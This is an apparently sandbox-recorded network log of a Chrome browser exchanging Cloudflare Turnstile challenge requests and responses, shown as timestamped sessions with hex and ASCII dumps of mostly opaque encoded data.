2024-04-19 15:01:44 UTC	1369	IN	Data Raw: 59 4a 39 52 59 4e 72 61 49 68 65 52 35 4f 4c 54 57 5a 55 54 57 5a 55 6b 6f 52 35 69 47 35 30 67 4a 6d 44 59 34 53 67 68 6e 64 30 70 70 4e 70 65 71 47 4d 66 58 78 39 67 4b 4b 65 74 58 36 44 6d 59 79 70 6d 35 65 47 71 6f 65 77 6a 38 47 65 78 5a 61 59 6a 37 36 6d 66 4d 61 33 6f 4d 6a 46 76 71 32 63 71 4c 2b 6f 74 73 33 47 74 61 61 77 78 37 43 34 73 70 71 31 32 35 37 68 34 71 58 51 32 4f 44 6c 79 4b 50 62 70 74 2f 6e 35 71 72 6a 72 4f 50 6b 30 62 6a 32 39 4f 50 64 33 66 72 58 32 4f 4c 41 75 75 4c 75 38 50 48 69 38 65 73 47 39 4f 30 46 34 2f 6a 78 42 76 7a 6b 33 65 38 4b 46 65 59 4b 37 2b 6e 59 36 4f 38 4b 37 52 55 61 42 68 73 41 41 68 72 34 35 2b 63 59 33 77 77 69 4b 42 73 6a 2f 41 30 47 37 75 34 30 4b 69 73 46 46 52 62 32 39 6a 77 55 4d 77 30 64 4a 76 37 2b Data Ascii: YJ9RYNraIheR5OLTWZUTWZUkoR5iG50gJmDY4Sghnd0ppNpeqGMfXx9gKKetX6DmYypm5eGqoewj8GexZaYj76mfMa3oMjFvq2cqL+ots3Gtaawx7C4spq1257h4qXQ2ODlyKPbpt/n5qrjrOPk0bj29OPd3frX2OLAuuLu8PHi8esG9O0F4/jxBvzk3e8KFeYK7+nY6O8K7RUaBhsAAhr45+cY3wwiKBsj/A0G7u40KisFFRb29jwUMw0dJv7+
2024-04-19 15:01:44 UTC	1369	IN	Data Raw: 69 50 57 34 52 4a 5a 30 35 6f 62 45 39 70 57 58 74 32 62 32 79 53 6b 47 6c 64 6e 46 39 6b 6d 58 71 69 65 4b 4a 32 61 6f 4b 6e 70 61 47 73 63 58 47 73 72 70 5a 30 6f 37 6c 34 68 70 79 71 68 37 52 38 66 5a 56 2f 66 34 4f 5a 74 4b 69 34 69 4d 54 44 68 63 6d 6e 69 39 4b 2b 79 70 4f 72 69 4e 54 53 73 4b 4c 58 31 64 4b 71 33 73 6d 54 6e 2b 4c 4f 70 4b 2f 6f 70 38 43 32 35 2b 62 4d 75 75 76 61 71 71 2f 79 33 73 7a 43 79 64 6e 6a 38 66 75 32 73 37 72 4c 7a 4e 76 32 2f 4f 50 33 42 76 66 35 38 38 44 68 39 74 6a 46 44 51 77 4d 2f 4f 76 50 43 4e 41 47 45 66 45 49 47 78 4d 59 33 4f 37 35 43 74 37 61 49 68 41 57 46 43 72 37 4a 43 50 72 36 76 33 74 38 43 63 72 4e 44 41 56 45 50 41 6b 45 54 4c 34 4d 41 38 50 48 44 51 65 45 68 6b 62 42 76 35 47 4a 30 51 31 4b 6b 45 71 49 Data Ascii: iPW4RJZ05obE9pWXt2b2ySkGldnF9kmXqieKJ2aoKnpaGscXGsrpZ0o7l4hpyqh7R8fZV/f4OZtKi4iMTDhcmni9K+ypOriNTSsKLX1dKq3smTn+LOpK/op8C25+bMuuvaqq/y3szCydnj8fu2s7rLzNv2/OP3Bvf588Dh9tjFDQwM/OvPCNAGEfEIGxMY3O75Ct7aIhAWFCr7JCPr6v3t8CcrNDAVEPAkETL4MA8PHDQeEhkbBv5GJ0Q1KkEqI
2024-04-19 15:01:44 UTC	1304	IN	Data Raw: 6a 67 34 5a 68 63 47 4e 59 63 49 74 2f 6c 6e 78 31 66 57 4b 63 68 70 2b 6d 66 71 53 6b 6f 48 65 4a 6c 32 5a 73 61 49 61 30 68 37 65 76 6f 58 61 43 65 57 36 6d 72 4b 31 35 77 63 43 69 76 4a 32 36 6f 38 4f 63 75 61 71 43 74 70 65 6d 76 37 4b 62 30 4c 57 32 6e 39 57 55 75 71 50 5a 30 70 7a 62 7a 63 36 76 73 4b 7a 57 34 70 37 50 79 63 71 34 78 39 37 4a 72 71 2f 4e 77 75 6e 44 34 74 53 73 7a 4f 50 4d 32 50 48 71 32 63 6a 55 36 39 54 69 38 37 77 41 33 4f 48 31 31 66 58 64 2b 2b 34 45 31 2f 45 4e 2f 51 54 4e 41 4f 7a 78 43 75 48 31 37 66 58 31 42 78 37 61 45 65 38 54 37 66 6f 67 33 52 6f 47 49 2f 73 74 37 42 41 41 43 79 51 6c 41 69 67 68 4b 54 54 75 38 7a 51 4e 47 66 67 4c 48 6a 51 58 4d 43 77 69 45 79 67 6c 46 30 41 48 4b 45 42 42 4b 43 34 75 4b 30 73 6c 45 43 Data Ascii: jg4ZhcGNYcIt/lnx1fWKchp+mfqSkoHeJl2ZsaIa0h7evoXaCeW6mrK15wcCivJ26o8OcuaqCtpemv7Kb0LW2n9WUuqPZ0pzbzc6vsKzW4p7Pycq4x97Jrq/NwunD4tSszOPM2PHq2cjU69Ti87wA3OH11fXd++4E1/EN/QTNAOzxCuH17fX1Bx7aEe8T7fog3RoGI/st7BAACyQlAighKTTu8zQNGfgLHjQXMCwiEyglF0AHKEBBKC4uK0slEC
2024-04-19 15:01:44 UTC	1369	IN	Data Raw: 35 36 62 0d 0a 79 51 6b 56 54 35 75 4f 6c 46 73 54 69 34 77 53 45 77 77 57 6b 70 35 52 48 74 4a 65 45 70 63 66 6a 70 52 59 58 31 34 64 45 69 4a 52 30 56 69 53 70 42 73 6a 30 74 6f 63 32 47 4b 6a 4a 46 6e 6a 6d 6d 64 61 35 4a 75 61 32 2b 57 63 58 39 7a 6d 6e 57 5a 64 35 35 39 64 33 75 69 67 49 36 78 65 6e 2b 56 69 4b 57 58 6b 34 4b 6d 67 36 79 4c 76 5a 61 33 72 48 75 37 6a 6f 32 64 6a 34 58 48 76 49 6e 48 6c 71 75 68 78 6f 76 50 70 38 44 41 7a 4d 50 43 6b 61 75 32 70 37 37 64 73 4e 65 65 34 64 72 54 33 2b 58 65 31 2b 66 70 34 74 76 66 37 65 62 66 35 2f 48 71 35 4f 50 31 37 75 6a 57 39 4f 6e 46 79 39 69 36 33 73 30 42 34 76 4c 56 39 51 4c 70 43 2f 6e 45 37 64 7a 67 43 75 38 4c 42 73 33 51 38 2f 41 4c 46 65 6e 6e 34 77 37 38 2b 4e 6a 76 49 51 30 6b 33 79 48 Data Ascii: 56byQkVT5uOlFsTi4wSEwwWkp5RHtJeEpcfjpRYX14dEiJR0ViSpBsj0toc2GKjJFnjmmda5Jua2+WcX9zmnWZd559d3uigI6xen+ViKWXk4Kmg6yLvZa3rHu7jo2dj4XHvInHlquhxovPp8DAzMPCkau2p77dsNee4drT3+Xe1+fp4tvf7ebf5/Hq5OP17ujW9OnFy9i63s0B4vLV9QLpC/nE7dzgCu8LBs3Q8/ALFenn4w78+NjvIQ0k3yH
2024-04-19 15:01:44 UTC	25	IN	Data Raw: 6c 74 59 54 69 31 68 55 31 4a 47 62 32 31 4b 56 6c 64 6b 53 57 78 36 0d 0a Data Ascii: ltYTi1hU1JGb21KVldkSWx6
2024-04-19 15:01:44 UTC	599	IN	Data Raw: 32 35 30 0d 0a 57 31 34 39 66 47 74 41 4e 33 6c 6f 66 48 52 71 64 46 71 41 61 47 74 75 59 34 43 42 6a 47 57 46 6c 47 69 61 6d 31 65 5a 57 6d 5a 2b 6f 4a 57 65 6e 46 74 77 70 34 69 43 61 47 4f 45 69 49 6d 75 68 62 46 2b 6b 6f 71 50 63 48 4b 4c 6d 59 79 71 6d 34 79 55 6b 70 4f 6f 6a 4d 4f 6b 6e 6f 44 46 6e 70 4f 34 6c 4b 47 39 6e 59 79 6e 71 5a 76 43 69 61 65 4d 30 4b 62 5a 75 4e 71 38 6c 64 7a 4e 76 74 43 70 30 37 72 57 73 2b 43 33 32 63 69 67 7a 4e 2f 4b 79 38 2f 6b 37 4f 48 4e 77 71 33 79 33 39 62 48 78 50 44 37 73 38 6a 77 79 4c 76 77 77 67 62 53 33 4e 66 46 43 50 66 67 2b 51 55 46 39 2b 37 4e 41 2f 76 4d 34 75 76 33 44 64 55 4e 42 66 6e 70 44 65 38 54 2b 75 76 37 2b 74 34 58 42 79 45 6f 48 41 45 61 2f 67 45 52 4a 50 34 75 42 50 33 31 39 51 38 68 4f 43 Data Ascii: 250W149fGtAN3lofHRqdFqAaGtuY4CBjGWFlGiam1eZWmZ+oJWenFtwp4iCaGOEiImuhbF+koqPcHKLmYyqm4yUkpOojMOknoDFnpO4lKG9nYynqZvCiaeM0KbZuNq8ldzNvtCp07rWs+C32cigzN/Ky8/k7OHNwq3y39bHxPD7s8jwyLvwwgbS3NfFCPfg+QUF9+7NA/vM4uv3DdUNBfnpDe8T+uv7+t4XByEoHAEa/gERJP4uBP319Q8hOC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.18	49709	104.17.2.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:44 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2113343596:1713536042:z0Mz6ptvznMXor49lcX9vmU5GqwrNAa91JbxMzs_QqI/876dc57e0ff87bcf/86e27d6bbc5acfd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:44 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Fri, 19 Apr 2024 15:01:44 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: 0vAGd8kie5RrbU5VxTodHQ==$RB2nmlBlG6EQ4QTj5iaUnw== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 876dc58b5b0dadac-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:44 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.18	49710	104.17.3.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:44 UTC	776	OUT	GET /cdn-cgi/challenge-platform/h/b/i/876dc57e0ff87bcf/1713538904216/ZhnC9eUuQVZ5DM0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:45 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:45 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 876dc58c7a264515-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:45 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 19 00 00 00 24 08 02 00 00 00 f3 6f 06 47 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR$oGIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.18	49712	104.17.2.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:45 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/876dc57e0ff87bcf/1713538904216/ZhnC9eUuQVZ5DM0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:45 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:45 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 876dc58f78116741-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:45 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 19 00 00 00 24 08 02 00 00 00 f3 6f 06 47 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR$oGIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.18	49714	104.17.3.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:45 UTC	805	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/876dc57e0ff87bcf/1713538904224/8b21d532fd0fc07fa9c6884c1f3c7bea1f97e6034430a71051c4d69f0b0adb96/6vxr3lRydoc6S4F HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:46 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 19 Apr 2024 15:01:46 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-04-19 15:01:46 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 69 79 48 56 4d 76 30 50 77 48 2d 70 78 6f 68 4d 48 7a 78 37 36 68 2d 58 35 67 4e 45 4d 4b 63 51 55 63 54 57 6e 77 73 4b 32 35 59 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20giyHVMv0PwH-pxohMHzx76h-X5gNEMKcQUcTWnwsK25YAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-04-19 15:01:46 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.18	49717	104.17.3.184	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:46 UTC	918	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/2113343596:1713536042:z0Mz6ptvznMXor49lcX9vmU5GqwrNAa91JbxMzs_QqI/876dc57e0ff87bcf/86e27d6bbc5acfd HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 29561 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 86e27d6bbc5acfd sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/vb618/0x4AAAAAAADnPIDROrmt1Wwj/light/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 15:01:46 UTC	16384	OUT	Data Raw: 76 5f 38 37 36 64 63 35 37 65 30 66 66 38 37 62 63 66 3d 36 55 71 72 6f 4f 54 79 35 64 6d 59 71 4f 57 55 4c 39 25 32 62 69 68 45 38 39 54 74 38 59 38 6d 24 38 59 35 54 59 38 72 72 64 53 4f 46 38 24 4f 38 2b 45 72 54 6b 38 77 72 62 35 2b 4c 38 6a 72 42 53 6d 4f 49 69 38 69 55 69 45 38 74 53 45 38 6c 4a 38 54 62 6e 42 6b 4f 62 42 54 32 38 2d 2d 55 38 50 72 2b 33 76 41 69 38 54 5a 78 6f 59 2b 69 41 54 36 2d 43 56 6b 69 38 57 4d 45 4f 59 38 49 53 4f 79 68 68 38 38 6d 35 38 4a 6a 38 38 4a 4c 7a 71 38 48 72 38 52 51 64 71 38 33 61 64 6b 69 4f 6a 42 55 45 38 51 35 6a 62 6a 69 45 38 6b 69 59 4c 54 51 69 4c 4d 45 50 53 41 6f 43 4b 6e 38 54 46 4d 38 38 55 77 72 70 2b 62 36 72 54 51 56 68 71 53 59 6d 4e 48 54 68 44 51 48 5a 68 53 5a 58 68 36 70 4a 58 48 69 38 4c 33 Data Ascii: v_876dc57e0ff87bcf=6UqroOTy5dmYqOWUL9%2bihE89Tt8Y8m$8Y5TY8rrdSOF8$O8+ErTk8wrb5+L8jrBSmOIi8iUiE8tSE8lJ8TbnBkObBT28--U8Pr+3vAi8TZxoY+iAT6-CVki8WMEOY8ISOyhh88m58Jj88JLzq8Hr8RQdq83adkiOjBUE8Q5jbjiE8kiYLTQiLMEPSAoCKn8TFM88Uwrp+b6rTQVhqSYmNHThDQHZhSZXh6pJXHi8L3
2024-04-19 15:01:46 UTC	13177	OUT	Data Raw: 39 54 73 4d 58 50 71 38 6c 65 54 6a 2b 38 4f 24 57 63 73 43 45 4a 72 42 38 66 38 4f 45 38 76 38 2b 38 4c 53 38 44 72 32 38 4f 75 54 2b 4d 74 35 4c 35 54 79 38 32 38 2b 35 54 4c 38 44 72 42 55 54 49 38 2b 38 4f 6d 38 51 38 42 72 38 35 54 67 38 67 45 4f 35 54 58 42 69 45 62 73 69 53 38 44 71 2b 72 54 56 35 4f 45 4c 41 38 48 38 54 45 4f 68 54 4c 38 36 45 42 76 38 30 38 64 38 47 76 54 79 38 6d 57 4c 69 54 70 38 4f 53 4f 39 38 45 6d 44 71 2b 6d 54 7a 38 69 59 42 6e 38 76 71 42 2d 75 45 5a 66 72 7a 72 47 4d 38 46 38 70 47 4e 55 38 64 38 47 73 34 76 54 6d 38 6a 38 54 45 54 30 38 2d 38 54 55 38 53 38 62 72 42 59 7a 39 38 2d 79 54 6d 54 79 38 69 59 62 72 2b 51 38 30 72 4c 55 38 4a 45 42 38 42 42 38 4f 38 46 45 62 41 54 48 38 2b 38 54 68 54 34 38 4a 45 62 76 38 49 Data Ascii: 9TsMXPq8leTj+8O$WcsCEJrB8f8OE8v8+8LS8Dr28OuT+Mt5L5Ty828+5TL8DrBUTI8+8Om8Q8Br85Tg8gEO5TXBiEbsiS8Dq+rTV5OELA8H8TEOhTL86EBv808d8GvTy8mWLiTp8OSO98EmDq+mTz8iYBn8vqB-uEZfrzrGM8F8pGNU8d8Gs4vTm8j8TET08-8TU8S8brBYz98-yTmTy8iYbr+Q80rLU8JEB8BB8O8FEbATH8+8ThT48JEbv8I
2024-04-19 15:01:46 UTC	350	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:46 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: KU16grRl4iZLD4SkHhuWRs3BiViZ0HPWZhY94aQRUNHezdz5v52doPrRVbXpmoqq$J6UhXKkdDCA0A8jUnHESQA== vary: accept-encoding Server: cloudflare CF-RAY: 876dc594cab644df-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:46 UTC	784	IN	Data Raw: 33 30 39 0d 0a 6d 4a 65 55 67 71 43 56 70 63 71 68 30 4a 33 4d 6f 4b 66 54 30 36 7a 46 6d 4a 6e 44 71 72 47 64 78 36 36 5a 32 62 71 79 35 4d 50 44 78 2b 66 6d 77 4e 6e 47 36 63 2b 70 37 4f 7a 51 31 65 43 31 79 74 50 59 2b 64 62 39 7a 73 6e 67 30 65 4c 42 31 73 2f 6b 76 65 44 55 31 67 54 69 41 66 6e 75 2f 4e 6f 4d 79 74 76 68 42 51 66 7a 38 2b 59 58 42 42 48 75 47 66 73 55 37 75 48 31 37 77 55 6f 43 66 54 36 42 41 48 35 48 52 38 6a 36 6a 41 6f 43 53 49 48 4a 68 6b 73 42 79 38 70 42 78 37 32 43 7a 55 78 50 69 77 68 4a 79 51 78 4f 68 64 48 4e 45 45 66 53 53 78 45 48 78 30 38 44 6b 56 52 4e 45 31 56 4e 44 78 51 53 55 39 41 51 47 42 57 4f 56 49 33 4d 45 6c 63 4e 31 73 36 58 7a 39 75 57 6c 38 75 4b 53 39 4d 55 43 6b 79 65 48 6c 47 61 33 35 35 50 6c 42 79 58 6b Data Ascii: 309mJeUgqCVpcqh0J3MoKfT06zFmJnDqrGdx66Z2bqy5MPDx+fmwNnG6c+p7OzQ1eC1ytPY+db9zsng0eLB1s/kveDU1gTiAfnu/NoMytvhBQfz8+YXBBHuGfsU7uH17wUoCfT6BAH5HR8j6jAoCSIHJhksBy8pBx72CzUxPiwhJyQxOhdHNEEfSSxEHx08DkVRNE1VNDxQSU9AQGBWOVI3MElcN1s6Xz9uWl8uKS9MUCkyeHlGa355PlByXk
2024-04-19 15:01:46 UTC	1369	IN	Data Raw: 64 33 62 0d 0a 77 44 2b 35 68 50 72 38 78 6a 51 37 74 41 49 35 75 66 54 32 79 44 34 47 42 33 75 37 68 4d 6a 45 52 51 61 34 43 67 59 49 78 2f 6f 4d 50 33 72 4b 65 59 4d 45 67 41 68 43 6a 76 31 44 76 58 37 41 50 67 2f 52 44 67 4f 4e 55 51 56 49 69 74 47 48 55 77 66 52 67 4a 51 53 55 4d 63 56 45 31 47 44 31 68 52 53 68 64 63 56 55 35 61 59 46 6c 53 59 6d 52 64 56 6c 70 6f 59 56 70 69 62 47 56 66 58 6e 42 70 59 31 46 76 5a 45 42 47 55 7a 56 5a 53 48 74 64 62 56 42 77 66 47 35 2f 62 57 5a 33 66 6e 78 5a 66 6d 68 6e 59 56 31 67 58 6c 70 75 63 32 39 4f 66 32 68 6d 59 70 78 37 64 31 5a 5a 6e 34 6d 69 58 70 35 58 57 4a 36 41 6e 34 4e 2b 71 70 6d 44 6e 49 6d 6f 6b 71 65 76 70 35 4b 56 62 36 65 4a 76 48 69 4a 74 34 68 2b 76 63 4f 42 6d 35 32 63 67 4c 69 6c 6f 35 36 Data Ascii: d3bwD+5hPr8xjQ7tAI5ufT2yD4GB3u7hMjERQa4CgYIx/oMP3rKeYMEgAhCjv1DvX7APg/RDgONUQVIitGHUwfRgJQSUMcVE1GD1hRShdcVU5aYFlSYmRdVlpoYVpibGVfXnBpY1FvZEBGUzVZSHtdbVBwfG5/bWZ3fnxZfmhnYV1gXlpuc29Of2hmYpx7d1ZZn4miXp5XWJ6An4N+qpmDnImokqevp5KVb6eJvHiJt4h+vcOBm52cgLilo56
2024-04-19 15:01:46 UTC	1369	IN	Data Raw: 75 45 4f 43 2b 50 7a 79 73 73 46 46 2b 30 55 38 39 73 4a 41 50 7a 6a 4a 76 66 59 39 52 62 67 43 39 33 34 44 4f 30 63 4c 65 37 75 37 43 73 71 38 66 50 34 46 52 6b 54 45 54 4d 37 4c 41 77 76 4f 41 45 51 4e 42 59 2f 42 54 6b 62 4b 51 4d 36 52 53 34 6f 4b 6a 4d 47 49 45 55 6d 55 43 5a 4a 4b 6c 41 79 53 6c 55 2b 4c 46 45 78 56 6b 52 65 51 32 55 66 56 6b 77 31 4f 57 56 6e 50 6c 6c 47 55 32 6f 76 54 46 4a 74 51 54 70 4f 4f 6d 5a 4e 53 31 5a 59 56 7a 32 43 64 31 74 30 59 59 46 70 66 45 78 58 62 58 42 69 57 34 69 43 53 6d 47 47 6d 4a 4b 45 61 49 6d 56 64 31 36 66 62 56 39 32 6a 4a 79 62 6b 4a 79 4a 63 57 4b 5a 58 6d 57 63 69 61 79 62 61 36 2b 53 69 57 69 68 73 34 71 77 6b 48 69 6c 6e 4a 6d 7a 73 36 75 68 66 72 36 56 6b 34 4f 55 73 38 43 56 72 72 65 63 77 36 32 36 Data Ascii: uEOC+PzyssFF+0U89sJAPzjJvfY9RbgC934DO0cLe7u7Csq8fP4FRkTETM7LAwvOAEQNBY/BTkbKQM6RS4oKjMGIEUmUCZJKlAySlU+LFExVkReQ2UfVkw1OWVnPllGU2ovTFJtQTpOOmZNS1ZYVz2Cd1t0YYFpfExXbXBiW4iCSmGGmJKEaImVd16fbV92jJybkJyJcWKZXmWciayba6+SiWihs4qwkHilnJmzs6uhfr6Vk4OUs8CVrrecw626
2024-04-19 15:01:46 UTC	656	IN	Data Raw: 50 57 45 2f 77 48 45 50 55 41 48 78 67 5a 39 43 50 6c 2f 76 51 64 33 50 50 71 48 41 30 71 4a 41 30 68 46 54 49 65 4c 41 45 57 46 77 67 33 47 68 30 4e 48 66 78 43 52 44 51 38 41 50 35 47 4e 44 4d 59 48 77 6f 61 43 46 42 45 51 52 38 72 54 69 6b 58 45 30 73 72 4f 43 6f 63 4c 69 6f 2f 59 55 73 63 59 32 46 4f 49 57 5a 62 50 31 68 59 59 47 5a 6e 54 6a 74 6f 59 69 6f 39 5a 7a 38 76 4b 33 55 34 54 6d 64 72 53 6c 4e 37 55 6e 74 34 62 6e 64 6e 66 34 4e 38 69 47 53 42 61 6f 69 4f 67 6c 43 4e 63 6c 2b 4d 59 46 5a 73 69 6e 4e 54 63 33 56 71 65 35 74 79 6c 32 79 56 66 6e 4a 2b 6f 33 70 32 69 32 53 48 6f 48 42 39 6a 35 47 63 6b 36 4f 42 6a 48 47 47 69 62 75 61 6d 35 32 2f 6f 4a 36 67 6c 62 36 76 75 72 65 69 73 37 2b 38 78 62 61 64 7a 38 71 75 73 5a 44 4f 73 73 75 35 73 Data Ascii: PWE/wHEPUAHxgZ9CPl/vQd3PPqHA0qJA0hFTIeLAEWFwg3Gh0NHfxCRDQ8AP5GNDMYHwoaCFBEQR8rTikXE0srOCocLio/YUscY2FOIWZbP1hYYGZnTjtoYio9Zz8vK3U4TmdrSlN7Unt4bndnf4N8iGSBaoiOglCNcl+MYFZsinNTc3Vqe5tyl2yVfnJ+o3p2i2SHoHB9j5Gck6OBjHGGibuam52/oJ6glb6vureis7+8xbadz8qusZDOssu5s
2024-04-19 15:01:46 UTC	1105	IN	Data Raw: 34 34 61 0d 0a 7a 39 44 39 77 2b 50 73 43 4d 6b 4f 34 41 67 4f 45 67 73 45 46 42 59 50 43 41 77 61 45 77 77 55 48 68 63 52 45 43 49 62 46 51 4d 68 46 76 48 33 42 65 59 4c 2b 53 30 50 48 77 49 69 4c 68 59 70 38 79 59 7a 4d 69 34 78 4f 42 6f 5a 45 77 38 53 45 41 77 67 4a 53 45 41 4d 52 6f 59 46 41 73 4c 4c 6b 4a 49 53 45 45 54 54 68 52 46 4a 43 73 6c 49 31 6f 75 4b 45 39 65 4e 54 4a 64 4e 44 42 46 47 55 49 68 52 6d 70 4c 53 6b 4a 77 57 53 68 70 51 30 46 53 5a 44 56 77 4f 58 6c 7a 62 46 46 53 63 31 4e 70 65 31 56 34 51 54 78 2b 52 56 4e 71 68 6e 78 75 68 6f 6c 67 5a 31 42 72 5a 46 39 72 58 33 43 49 5a 49 6d 61 63 46 57 5a 62 36 4b 42 70 49 32 42 64 33 4f 42 59 58 2b 44 6e 6f 6d 63 6a 4a 69 69 73 71 78 75 67 36 32 54 69 6f 61 4b 65 62 6d 4a 75 72 57 2b 77 61 Data Ascii: 